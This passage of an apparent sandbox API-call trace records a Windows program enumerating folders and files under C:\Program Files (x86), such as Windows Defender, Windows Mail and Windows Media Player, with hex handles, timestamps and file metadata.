hFindFile=0x4191780 | out: hFindFile=0x4191780) returned 1 [0157.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60498 | out: hHeap=0x300000) returned 1 [0157.504] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0157.504] FindClose (in: hFindFile=0x4191180 | out: hFindFile=0x4191180) returned 1 [0157.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0157.504] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0157.504] FindClose (in: hFindFile=0x4191080 | out: hFindFile=0x4191080) returned 1 [0157.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0157.504] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0157.504] FindClose (in: hFindFile=0x41915c0 | out: hFindFile=0x41915c0) returned 1 [0157.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0157.504] FindNextFileW (in: hFindFile=0x41910c0, lpFindFileData=0x327fa84 | out: lpFindFileData=0x327fa84*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xc0d77470, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc0d77470, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0157.504] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Uninstall Information\\*", lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xc0d77470, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc0d77470, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41915c0 [0157.504] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xc0d77470, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc0d77470, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.505] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdb0c4d0, ftCreationTime.dwHighDateTime=0x1d542b5, ftLastAccessTime.dwLowDateTime=0xd74bd250, ftLastAccessTime.dwHighDateTime=0x1d505ce, ftLastWriteTime.dwLowDateTime=0xd74bd250, ftLastWriteTime.dwHighDateTime=0x1d505ce, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="lsnavy.exe", cAlternateFileName="")) returned 1 [0157.505] FindClose (in: hFindFile=0x41915c0 | out: hFindFile=0x41915c0) returned 1 [0157.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0157.505] FindNextFileW (in: hFindFile=0x41910c0, lpFindFileData=0x327fa84 | out: lpFindFileData=0x327fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0157.505] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\*", lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41915c0 [0157.506] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.506] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0157.506] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\*", lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191080 [0157.506] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.506] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1 [0157.506] FindClose (in: hFindFile=0x4191080 | out: hFindFile=0x4191080) returned 1 [0157.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0157.507] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcc1c145, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdcc1c145, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9ab7c5c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1 [0157.507] FindClose (in: hFindFile=0x41915c0 | out: hFindFile=0x41915c0) returned 1 [0157.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0157.507] FindNextFileW (in: hFindFile=0x41910c0, lpFindFileData=0x327fa84 | out: lpFindFileData=0x327fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0157.507] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\*", lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41915c0 [0157.541] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.541] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0157.541] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\*", lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191080 [0157.542] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.542] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe506d6c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe506d6c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0157.542] FindClose (in: hFindFile=0x4191080 | out: hFindFile=0x4191080) returned 1 [0157.542] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0157.542] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b530d7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3b530d7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3b9f397, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18b800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0157.542] FindClose (in: hFindFile=0x41915c0 | out: hFindFile=0x41915c0) returned 1 [0157.542] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0157.543] FindNextFileW (in: hFindFile=0x41910c0, lpFindFileData=0x327fa84 | out: lpFindFileData=0x327fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0157.543] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\*", lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41915c0 [0157.543] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.543] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ca67c6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0157.543] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\*", lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ca67c6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191080 [0157.543] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ca67c6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.543] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1 [0157.544] FindClose (in: hFindFile=0x4191080 | out: hFindFile=0x4191080) returned 1 [0157.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0157.544] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0157.544] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Icons\\*", lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191080 [0157.544] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.544] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0157.544] FindClose (in: hFindFile=0x4191080 | out: hFindFile=0x4191080) returned 1 [0157.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0157.544] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81351db4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81351db4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0157.544] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81351db4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81351db4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191080 [0157.546] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81351db4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81351db4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.546] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e33732, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e33732, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x55587e5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4d82, dwReserved0=0x0, dwReserved1=0x0, cFileName="avtransport.xml", cAlternateFileName="")) returned 1 [0158.034] FindClose (in: hFindFile=0x4191140 | out: hFindFile=0x4191140) returned 1 [0158.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4160048 | out: hHeap=0x300000) returned 1 [0158.035] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0158.035] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191140 [0158.035] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.035] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x467a, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.js", cAlternateFileName="")) returned 1 [0158.035] FindClose (in: hFindFile=0x4191140 | out: hFindFile=0x4191140) returned 1 [0158.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4160048 | out: hHeap=0x300000) returned 1 [0158.035] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, 